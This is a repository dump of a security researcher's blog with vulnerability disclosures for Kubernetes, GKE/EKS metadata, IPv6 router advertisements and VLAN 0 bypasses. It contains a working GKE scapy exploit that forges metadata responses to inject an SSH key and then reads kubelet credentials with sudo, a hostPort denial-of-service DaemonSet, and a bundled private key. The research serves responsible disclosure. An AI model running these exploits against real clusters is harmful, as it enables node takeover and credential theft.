├── CNAME ├── _config.yml ├── IPv6_RA_MITM ├── wsl2 │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── go.mod │ ├── go.sum │ └── rafun.go ├── k8s │ ├── Cargo.toml │ └── src │ │ └── main.rs └── README.md ├── Metadata_MITM_root_EKS_GKE ├── EKS │ ├── go.mod │ ├── go.sum │ ├── cert2.pem │ ├── cert1.pem │ ├── privkey.pem │ ├── cert0.pem │ └── mitmmeta.go ├── GKE │ └── metadatascapy.py └── README.md ├── K8S_MITM_LoadBalancer_ExternalIPs ├── tests.png ├── 2-prechecks.cast ├── 4-mitm-endpoints.cast ├── README.md └── 3-mitm.cast ├── README.md ├── CVE-2019-9946 └── README.md ├── VLAN0 └── README.md ├── VLAN0_LLC_SNAP ├── l2-security-whack-a-mole.py ├── README.md ├── Ethernet-8023-80211.drawio └── Ethernet-frame-formats.drawio └── runc-symlink-CVE-2021-30465 └── README.md /CNAME: -------------------------------------------------------------------------------- 1 | blog.champtar.fr -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker 2 | title: blog.champtar.fr 3 | description: "" 4 | -------------------------------------------------------------------------------- /IPv6_RA_MITM/wsl2/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/champtar/blog/HEAD/IPv6_RA_MITM/wsl2/1.png -------------------------------------------------------------------------------- /IPv6_RA_MITM/wsl2/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/champtar/blog/HEAD/IPv6_RA_MITM/wsl2/2.png -------------------------------------------------------------------------------- /IPv6_RA_MITM/wsl2/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/champtar/blog/HEAD/IPv6_RA_MITM/wsl2/3.png -------------------------------------------------------------------------------- /Metadata_MITM_root_EKS_GKE/EKS/go.mod: -------------------------------------------------------------------------------- 1 | module mitmmeta 2 | 3 | go 1.14 4 | 5 | require github.com/google/gopacket v1.1.18 6 | -------------------------------------------------------------------------------- /K8S_MITM_LoadBalancer_ExternalIPs/tests.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/champtar/blog/HEAD/K8S_MITM_LoadBalancer_ExternalIPs/tests.png -------------------------------------------------------------------------------- /IPv6_RA_MITM/wsl2/go.mod: -------------------------------------------------------------------------------- 1 | module rafun 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/mdlayher/ndp v0.0.0-20200208214239-6af7d78093a1 7 | github.com/miekg/dns v1.1.29 8 | golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553 9 | golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e 10 | ) 11 | -------------------------------------------------------------------------------- /IPv6_RA_MITM/k8s/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ipv6mitm" 3 | version = "0.1.0" 4 | authors = ["Etienne Champetier "] 5 | edition = "2018" 6 | 7 | [dependencies] 8 | smoltcp = "0.6" 9 | log = "0.4.8" 10 | env_logger = "0.5" 11 | getopts = "0.2" 12 | mac_address = "1.0" 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | * [Kubernetes hostPort allow services traffic interception when using kubeproxy IPVS (CVE-2019-9946)](CVE-2019-9946/README.md) 2 | 3 | * [Host MITM attack via IPv6 rogue router advertisements (K8S / Docker / LXD / WSL2 / ...)](IPv6_RA_MITM/README.md) 4 | 5 | * [Bridge firewalling "bypass" using VLAN 0](VLAN0/README.md) 6 | 7 | * [Kubernetes MITM using LoadBalancer or ExternalIPs (CVE-2020-8554)](K8S_MITM_LoadBalancer_ExternalIPs/README.md) 8 | 9 | * [Metadata service MITM allows root privilege escalation (EKS / GKE)](Metadata_MITM_root_EKS_GKE/README.md) 10 | 11 | * [runc mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs (CVE-2021-30465)](runc-symlink-CVE-2021-30465/README.md) 12 | 13 | * [Layer 2 network security bypass using VLAN 0, LLC/SNAP headers and invalid length](VLAN0_LLC_SNAP/README.md) 14 | -------------------------------------------------------------------------------- /Metadata_MITM_root_EKS_GKE/EKS/go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/gopacket v1.1.18 h1:lum7VRA9kdlvBi7/v2p7/zcbkduHaCH/SVVyurs7OpY= 2 | github.com/google/gopacket v1.1.18/go.mod h1:UdDNZ1OO62aGYVnPhxT1U6aI7ukYtA/kB8vaU0diBUM= 3 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 4 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3 h1:0GoQqolDA55aaLxZyTzK/Y2ePZzZTUrRacwib7cNsYQ= 5 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 6 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 7 | golang.org/x/sys v0.0.0-20190405154228-4b34438f7a67 h1:1Fzlr8kkDLQwqMP8GxrhptBLqZG/EDpiATneiZHY998= 8 | golang.org/x/sys v0.0.0-20190405154228-4b34438f7a67/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 9 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 10 | -------------------------------------------------------------------------------- /Metadata_MITM_root_EKS_GKE/EKS/cert2.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/ 3 | MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT 4 | DkRTVCBSb290IENBIFgzMB4XDTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVow 5 | PzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQD 6 | Ew5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB 7 | AN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmTrE4O 8 | rz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEq 9 | OLl5CjH9UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9b 10 | xiqKqy69cK3FCxolkHRyxXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw 11 | 7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40dutolucbY38EVAjqr2m7xPi71XAicPNaD 12 | aeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV 13 | HQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQMA0GCSqG 14 | SIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69 15 | ikugdB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXr 16 | AvHRAosZy5Q6XkjEGB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZz 17 | R8srzJmwN0jP41ZL9c8PDHIyh8bwRLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5 18 | JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubSfZGL+T0yjWW06XyxV3bqxbYo 19 | Ob8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ 20 | -----END CERTIFICATE----- 21 | -------------------------------------------------------------------------------- /Metadata_MITM_root_EKS_GKE/EKS/cert1.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIEkjCCA3qgAwIBAgIQCgFBQgAAAVOFc2oLheynCDANBgkqhkiG9w0BAQsFADA/ 3 | MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT 4 | DkRTVCBSb290IENBIFgzMB4XDTE2MDMxNzE2NDA0NloXDTIxMDMxNzE2NDA0Nlow 5 | SjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUxldCdzIEVuY3J5cHQxIzAhBgNVBAMT 6 | GkxldCdzIEVuY3J5cHQgQXV0aG9yaXR5IFgzMIIBIjANBgkqhkiG9w0BAQEFAAOC 7 | AQ8AMIIBCgKCAQEAnNMM8FrlLke3cl03g7NoYzDq1zUmGSXhvb418XCSL7e4S0EF 8 | q6meNQhY7LEqxGiHC6PjdeTm86dicbp5gWAf15Gan/PQeGdxyGkOlZHP/uaZ6WA8 9 | SMx+yk13EiSdRxta67nsHjcAHJyse6cF6s5K671B5TaYucv9bTyWaN8jKkKQDIZ0 10 | Z8h/pZq4UmEUEz9l6YKHy9v6Dlb2honzhT+Xhq+w3Brvaw2VFn3EK6BlspkENnWA 11 | a6xK8xuQSXgvopZPKiAlKQTGdMDQMc2PMTiVFrqoM7hD8bEfwzB/onkxEz0tNvjj 12 | /PIzark5McWvxI0NHWQWM6r6hCm21AvA2H3DkwIDAQABo4IBfTCCAXkwEgYDVR0T 13 | AQH/BAgwBgEB/wIBADAOBgNVHQ8BAf8EBAMCAYYwfwYIKwYBBQUHAQEEczBxMDIG 14 | CCsGAQUFBzABhiZodHRwOi8vaXNyZy50cnVzdGlkLm9jc3AuaWRlbnRydXN0LmNv 15 | bTA7BggrBgEFBQcwAoYvaHR0cDovL2FwcHMuaWRlbnRydXN0LmNvbS9yb290cy9k 16 | c3Ryb290Y2F4My5wN2MwHwYDVR0jBBgwFoAUxKexpHsscfrb4UuQdf/EFWCFiRAw 17 | VAYDVR0gBE0wSzAIBgZngQwBAgEwPwYLKwYBBAGC3xMBAQEwMDAuBggrBgEFBQcC 18 | ARYiaHR0cDovL2Nwcy5yb290LXgxLmxldHNlbmNyeXB0Lm9yZzA8BgNVHR8ENTAz 19 | MDGgL6AthitodHRwOi8vY3JsLmlkZW50cnVzdC5jb20vRFNUUk9PVENBWDNDUkwu 20 | Y3JsMB0GA1UdDgQWBBSoSmpjBH3duubRObemRWXv86jsoTANBgkqhkiG9w0BAQsF 21 | AAOCAQEA3TPXEfNjWDjdGBX7CVW+dla5cEilaUcne8IkCJLxWh9KEik3JHRRHGJo 22 | uM2VcGfl96S8TihRzZvoroed6ti6WqEBmtzw3Wodatg+VyOeph4EYpr/1wXKtx8/ 23 | wApIvJSwtmVi4MFU5aMqrSDE6ea73Mj2tcMyo5jMd6jmeWUHK8so/joWUoHOUgwu 24 | X4Po1QYz+3dszkDqMp4fklxBwXRsW10KXzPMTZ+sOPAveyxindmjkW8lGy+QsRlG 25 | PfZ+G6Z6h7mjem0Y+iWlkYcV4PIWL1iwBi8saCbGS5jN2p8M+X+Q7UNKEkROb3N6 26 | KOqkqm57TH2H3eDJAkSnh6/DNFu0Qg== 27 | -----END CERTIFICATE----- 28 | -------------------------------------------------------------------------------- /Metadata_MITM_root_EKS_GKE/EKS/privkey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8dOPyZjcFemgt 3 | sxaNHauX0sYRSn/wq2SH0okg9H3D7vNREzU4+BU/2O9nvoATtRVIf0CRvszY+zxs 4 | JL0LbJ+btml07ZzEOXXhcyfkJIGuTlHvDBK7oxuGiIWOnHaE8+VEEVco1kX5If1n 5 | yZpmie/HM+1gTFghAwVVJIKSawH31nVsWgp7qMRqp7vCUVx4PjX/0kJgLl3YxlcI 6 | J6Yat3FZPtYnhdPp/GpDgFKJAYhdrmD+hANS0T+dDJrioBiD7e3RQEtIUw/bCU8i 7 | 04cTY4lgo+kMKJb0Kr4vb2ikzeHVO7vOBbr2gKGbHXS+6oatdjcBcvhgqYJSyBZ8 8 | D7JNneb7AgMBAAECggEADoHdDkrqD2Tl4ia4JLLVA8H491nJ0YgQHBiL79qCV/Ps 9 | DSCyZylJ0XlsrIrQpzO4aLVLDi0m7ckhVJ3bY6a//qejJJoqCDz4IxvPRVO+G+Hx 10 | krpWMtWSh9+4kErhIMj5rCy9jeo4xr3kGPo/BYe2ypnnuxMFcb0eyvgdiRHtu9tH 11 | pHXSEMJ/AJEh9qBXVh5j2LmPYB1bu4OEGY3NsGbUGMxHBZW8kzsx+o7VvUNf4ZjA 12 | z5D+QZQAjUKIuLIWmv+33KmOvtdGzL/+tTgZfOofllc0590S+Nkz+o1Har9/XpSY 13 | pEaYSLMkImuV0g5/orhmtahkhA1zkvzEaSCMd5QXCQKBgQDkv3NlSmwYuSwaTo+U 14 | X5SE+8fcbePdl6l42W41huAU7VIiLiYqMYpSSawChLdXrJ2aUgwsL5tkB0Vk/uiQ 15 | 1yKhy4PgpBzLDHJ4S5/engpRDrUQCKrilWj98izA9RRx96Cc16uERFWgIkXLKMVv 16 | 6Km5L4NJM2Rjc8yJWTEBeDO2dwKBgQDS6Joy/Y1DXKIeMQOY+7PKiKm6JWctwJE9 17 | 7nz9/Rt75sFTnpstP7AxXC3pALtkJZc5pE7zRWX0sJD3g6tjFaoEM4kyJNhcc7fm 18 | j2jnEy4QDptpx95hALh5QwgzR6d3xxPg9eI6YqGz6GP0mnEeN4cNhan0REIlSwxt 19 | u0ENSBEAnQKBgQDZX22DRdOvMthML3eVobZ7IOBuAidVfjfX1Zc7Wm46tMMmJAC0 20 | e9tcExJYWlH4CNrDuVBD9QGPbrFtJidO7IHGiqVJpeqOscddtU+4typKmNVK5VGu 21 | fBkHqUkKHFtPaefA49njmSRdRfRY+OeWTtxqVFJID4RIVdR6eL1vDhDmRQKBgF/6 22 | ejG6MQ72mNAkff6gjLEegB615r5rY61LWpY7GMbJvDDRfMyarxPHXx0puB1a/fa9 23 | TzBl5H/12gLJaLUuprBCw6yOF+f6wTWrDZIaqFumShNZYVnDei+00YaElTFs5x74 24 | xnrLZ8r3doVZwyB9JHiC21TNu0w9WuqUzIW+xf4BAoGAII5jbHqaqumQa4Hlxzju 25 | QQ/RMZ6sHelH0A48X3f/pbfvMcdr7EHzJlYvrB/Q4Sm0TWXE6knRzn0/SgoppAwn 26 | nhZwsL85hlLXKdTFt0xNMyXmpw7M0wOT6AW4lnuVW8imFDQbsmdDrbsx2q4Refj9 27 | LOw60fuuoAmD3yDnC58NK+s= 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /Metadata_MITM_root_EKS_GKE/EKS/cert0.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIFjjCCBHagAwIBAgISBOfyT1BN/JcjPKulCddYu0UbMA0GCSqGSIb3DQEBCwUA 3 | MEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQD 4 | ExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzAeFw0yMDEwMTIxNDI0MDZaFw0y 5 | MTAxMTAxNDI0MDZaMDYxNDAyBgNVBAMTK21hbmFnZWQtc3NoLXNpZ25lci51cy1l 6 | YXN0LTIuY2hhbXBldGllci5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK 7 | AoIBAQC8dOPyZjcFemgtsxaNHauX0sYRSn/wq2SH0okg9H3D7vNREzU4+BU/2O9n 8 | voATtRVIf0CRvszY+zxsJL0LbJ+btml07ZzEOXXhcyfkJIGuTlHvDBK7oxuGiIWO 9 | nHaE8+VEEVco1kX5If1nyZpmie/HM+1gTFghAwVVJIKSawH31nVsWgp7qMRqp7vC 10 | UVx4PjX/0kJgLl3YxlcIJ6Yat3FZPtYnhdPp/GpDgFKJAYhdrmD+hANS0T+dDJri 11 | oBiD7e3RQEtIUw/bCU8i04cTY4lgo+kMKJb0Kr4vb2ikzeHVO7vOBbr2gKGbHXS+ 12 | 6oatdjcBcvhgqYJSyBZ8D7JNneb7AgMBAAGjggKAMIICfDAOBgNVHQ8BAf8EBAMC 13 | BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw 14 | HQYDVR0OBBYEFBX9zqf08zeyBz5UuFxpGdgMpgLtMB8GA1UdIwQYMBaAFKhKamME 15 | fd265tE5t6ZFZe/zqOyhMG8GCCsGAQUFBwEBBGMwYTAuBggrBgEFBQcwAYYiaHR0 16 | cDovL29jc3AuaW50LXgzLmxldHNlbmNyeXB0Lm9yZzAvBggrBgEFBQcwAoYjaHR0 17 | cDovL2NlcnQuaW50LXgzLmxldHNlbmNyeXB0Lm9yZy8wNgYDVR0RBC8wLYIrbWFu 18 | YWdlZC1zc2gtc2lnbmVyLnVzLWVhc3QtMi5jaGFtcGV0aWVyLm5ldDBMBgNVHSAE 19 | RTBDMAgGBmeBDAECATA3BgsrBgEEAYLfEwEBATAoMCYGCCsGAQUFBwIBFhpodHRw 20 | Oi8vY3BzLmxldHNlbmNyeXB0Lm9yZzCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3 21 | AG9Tdqwx8DEZ2JkApFEV/3cVHBHZAsEAKQaNsgiaN9kTAAABdR1pYdoAAAQDAEgw 22 | RgIhAI8HVmWErgOjALqAfBOF4gmmhthQyZAYSVT5unenfScRAiEA+BLD4oDHifzl 23 | iGXjVKupd93xp+py4R15TE53Hs+b58YAdQB9PvL4j/+IVWgkwsDKnlKJeSvFDngJ 24 | fy5ql2iZfiLw1wAAAXUdaWHYAAAEAwBGMEQCIEFfG9Vco7z/Flq/5Ji78+RS+soV 25 | WNpoJd8oy+5mG3JCAiAtUzZmUoKKFwVJQs4T4WE7/hTnhxgd3x8G9/Z3d0u5fzAN 26 | BgkqhkiG9w0BAQsFAAOCAQEAfMFjQ5pYZ6YcXTk68kdClnGV+BhkAwW8T1qBjkYc 27 | pFBzT6PB2S8q/DxGzD+p9lO8yFruMfYmwKlM11hDi3GbRFwDTpy1Tp9IcOOOPV+r 28 | La0x1NiTe4Z566dRLnTUc3PrHbJACU8+/ZynX2ooWPx94miCf+sc3HIAtVhx27Is 29 | kLCyLRFaeXAQH+Me3igTApbnbDBEkd8IZK3m1nt3wQH5JyDDDjesH98U54Wysm2U 30 | 9X6W9H2vSYLvhRSHfNs5xH7kdw4R/FhxWTNRbGLk/5TSbcJ60fv6N5tZERlkC976 31 | T+Vf7ZOF0WbopPtnt5YVz4KZalY2+c5s2rg1XTyTLTMJEQ== 32 | -----END CERTIFICATE----- 33 | -------------------------------------------------------------------------------- /Metadata_MITM_root_EKS_GKE/GKE/metadatascapy.py: -------------------------------------------------------------------------------- 1 | # GKE Metadata Mitm Scapy 2 | # Etienne Champetier (@champtar) 3 | 4 | from scapy.all import * 5 | conf.verb = 0 # turn off scapy messages 6 | import urllib.request, json, os, time 7 | 8 | # https://scapy.readthedocs.io/en/latest/troubleshooting.html#i-can-t-ping-127-0-0-1-scapy-does-not-work-with-127-0-0-1-or-on-the-loopback-interface 9 | conf.L3socket=L3RawSocket 10 | 11 | def start(): 12 | print("Loading ssh key") 13 | global sshkey 14 | with open('/root/.ssh/id_ed25519.pub') as f: 15 | sshkey = f.read().strip() 16 | print(sshkey) 17 | 18 | print("Listening for metadata requests...") 19 | sniff(prn=inject, 20 | filter='host 169.254.169.254 and tcp port 80', 21 | lfilter=lambda p: all([m in str(p[TCP].payload) for m in ['GET /computeMetadata/v1/?','recursive=True','wait_for_change=True']]) 22 | ) 23 | 24 | def inject(p): 25 | print('Request') 26 | print(p[TCP].payload) 27 | print('Preparing response') 28 | response = forge_response(p) 29 | print('Sending response') 30 | send(response) 31 | print('Trying to exec') 32 | time.sleep(1) 33 | print('================================================================================') 34 | os.system('ssh -oStrictHostKeyChecking=no hacker@127.0.0.1 -- sudo cat /var/lib/kubelet/kubeconfig /etc/srv/kubernetes/pki/ca-certificates.crt /var/lib/kubelet/pki/kubelet-client-current.pem') 35 | print('================================================================================') 36 | 37 | def get_metadata(): 38 | url = 'http://169.254.169.254/computeMetadata/v1/?alt=json&recursive=True' 39 | headers = { 40 | 'Accept-Encoding': 'identity', 41 | 'Host': 'metadata.google.internal', 42 | 'Metadata-Flavor': 'Google', 43 | 'Connection': 'close', 44 | 'User-Agent': 'Python-urllib/2.7' 45 | } 46 | return urllib.request.urlopen(urllib.request.Request(url, headers=headers)) 47 | 48 | def forge_response(p): 49 | ip = IP(src=p[IP].dst, dst=p[IP].src) 50 | tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq + 1, flags="AP") 51 | 52 | meta = get_metadata() 53 | j = json.load(meta) 54 | j['project']['attributes']['ssh-keys'] += "\nhacker:" + sshkey 55 | j = json.dumps(j) 56 | 57 | r = "HTTP/1.1 200 OK\r\n" 58 | h = meta.getheaders() 59 | h.append(('Connection', 'Close')) 60 | for k,v in h: 61 | if k == 'Content-Length': 62 | v = str(len(j)) 63 | r += "{}: {}\r\n".format(k,v) 64 | r += "\r\n" 65 | r += j 66 | 67 | return ip / tcp / r 68 | 69 | start() 70 | 71 | -------------------------------------------------------------------------------- /IPv6_RA_MITM/wsl2/go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/go-cmp v0.3.1 h1:Xye71clBPdm5HgqGwUkwhbynsUJZhDbS20FvLhQ2izg= 2 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 3 | github.com/mdlayher/ndp v0.0.0-20200208214239-6af7d78093a1 h1:SuUKGYc1ULxynjsSUYtGgFKrYQpMbKI71v/RN9be2U4= 4 | github.com/mdlayher/ndp v0.0.0-20200208214239-6af7d78093a1/go.mod h1:RA3SuKRKhMBigwJnFonlsRE0H9FuhUBsfhIOXtojQig= 5 | github.com/miekg/dns v1.1.29 h1:xHBEhR+t5RzcFJjBLJlax2daXOrTYtr9z4WdKEfWFzg= 6 | github.com/miekg/dns v1.1.29/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM= 7 | gitlab.com/golang-commonmark/puny v0.0.0-20191124015043-9f83538fa04f h1:Wku8eEdeJqIOFHtrfkYUByc4bCaTeA6fL0UJgfEiFMI= 8 | gitlab.com/golang-commonmark/puny v0.0.0-20191124015043-9f83538fa04f/go.mod h1:Tiuhl+njh/JIg0uS/sOJVYi0x2HEa5rc1OAaVsb5tAs= 9 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 10 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550 h1:ObdrDkeb4kJdCP557AjRjq69pTHfNouLtWZG7j9rPN8= 11 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 12 | golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= 13 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 14 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 15 | golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 16 | golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553 h1:efeOvDhwQ29Dj3SdAV/MJf8oukgn+8D8WgaCaRMchF8= 17 | golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 18 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 19 | golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e h1:vcxGaoTs7kV8m5Np9uUNQin4BrLOthgV7252N8V+FwY= 20 | golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 21 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 22 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 23 | golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 24 | golang.org/x/sys v0.0.0-20191224085550-c709ea063b76 h1:Dho5nD6R3PcW2SH1or8vS0dszDaXRxIw55lBX7XiE5g= 25 | golang.org/x/sys v0.0.0-20191224085550-c709ea063b76/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 26 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 27 | golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 28 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 29 | -------------------------------------------------------------------------------- /CVE-2019-9946/README.md: -------------------------------------------------------------------------------- 1 | # Kubernetes hostPort allow services traffic interception when using kubeproxy IPVS (CVE-2019-9946) 2 | 3 | When I first discovered this bug, I opened an [issue #72522 on Kubernetes repo](https://github.com/kubernetes/kubernetes/issues/72522), 4 | without thinking much about the security implications. 5 | 6 | Fast forward 4 days later and some more testing, 7 | I found out that using hostPort allowed to intercept not only LoadBalancer traffic as initially reported, 8 | but any services traffic, so I reported it to security@kubernetes.io. 9 | 10 | ## POC 11 | 12 | To clearly show the issue, I sent this trivial denial of service proof of concept: 13 | ``` 14 | # curl https://10.233.0.1:443/api -k 15 | { 16 | "kind": "APIVersions", 17 | "versions": [ 18 | ... 19 | 20 | 21 | # kubectl apply -f - <<'EOF' 22 | apiVersion: apps/v1 23 | kind: DaemonSet 24 | metadata: 25 | name: dosk8s-ds 26 | spec: 27 | selector: 28 | matchLabels: 29 | app: dosk8s 30 | template: 31 | metadata: 32 | labels: 33 | app: dosk8s 34 | spec: 35 | containers: 36 | - name: pause 37 | image: k8s.gcr.io/pause 38 | ports: 39 | - name: dos443 40 | containerPort: 443 41 | hostPort: 443 42 | - name: dos53t 43 | containerPort: 53 44 | hostPort: 53 45 | - name: dos53u 46 | containerPort: 53 47 | hostPort: 53 48 | protocol: UDP 49 | EOF 50 | 51 | 52 | # curl https://10.233.0.1:443/api -k 53 | curl: (7) Failed connect to 10.233.0.1:443; Connection refused 54 | 55 | 56 | # nslookup google.com 57 | nslookup: can't resolve '(null)': Name does not resolve 58 | nslookup: can't resolve 'google.com': Try again 59 | ``` 60 | 61 | In the end the issue was in CNI (Container network interface) portmap plugin, that was inserting iptables rules instead of appending them, taking precedence other Kubernetes services rules. 62 | 63 | ## Timeline 64 | 65 | * 2019-01-03: Initial public bug report. 66 | * 2019-01-07: Initial private bug report to security@kubernetes.io. 67 | * 2019-01-17: The networking team can reproduce the issue but they are still investigating. 68 | * 2019-02-27: The networking team believe that the issue is in CNI only. CNI developers have proposed a fix that is being reviewed. I ask if there is already a CVE for this bug. 69 | * 2019-03-19: The networking team is testing a new version of the CNI plugin. K8S security team can't issue a CVE for CNI, and CNI can't issue CVE for now, so WIP. 70 | * 2019-03-25: CVE-2019-9946 has been reserved for this issue. 71 | * 2019-03-28: Public diclosure. 72 | 73 | ## Links 74 | 75 | * [Kubernetes security annoncement](https://discuss.kubernetes.io/t/announce-security-release-of-kubernetes-affecting-certain-network-configurations-with-cni-releases-1-11-9-1-12-7-1-13-5-and-1-14-0-cve-2019-9946/5713) 76 | * [CNI pull request](https://github.com/containernetworking/plugins/pull/269) 77 | * [Kubernetes pull request](https://github.com/kubernetes/kubernetes/pull/75455) 78 | -------------------------------------------------------------------------------- /VLAN0/README.md: -------------------------------------------------------------------------------- 1 | # Bridge firewalling "bypass" using VLAN 0 2 | 3 | See follow up article: [Layer 2 network security bypass using VLAN 0, LLC/SNAP headers and invalid length](../VLAN0_LLC_SNAP/README.md) 4 | 5 | L2 networks are insecure by default, vulnerable to ARP, DHCP, Router Advertisement spoofing to name a few. 6 | Over the years security mechanisms have been implemented to detect and or stop those attacks. 7 | As usual when you try to filter anything, you MUST use an allow list approach, else you risk letting some unwanted traffic go through. 8 | 9 | I was not able to find anything about VLAN 0 attacks, so this might be a novel attack. 10 | 11 | The packet syntax in this article is the one used by [Scapy](https://scapy.readthedocs.io/) 12 | 13 | ## VLAN 0 14 | 15 | Many people know that VLAN 1 is special, and that VLAN 0 and 4095 are reserved. 16 | Now to be more precise, VLAN 0, i.e. having `VID` set to `0x000`, "indicates that the frame does not carry a VLAN ID; 17 | in this case, the 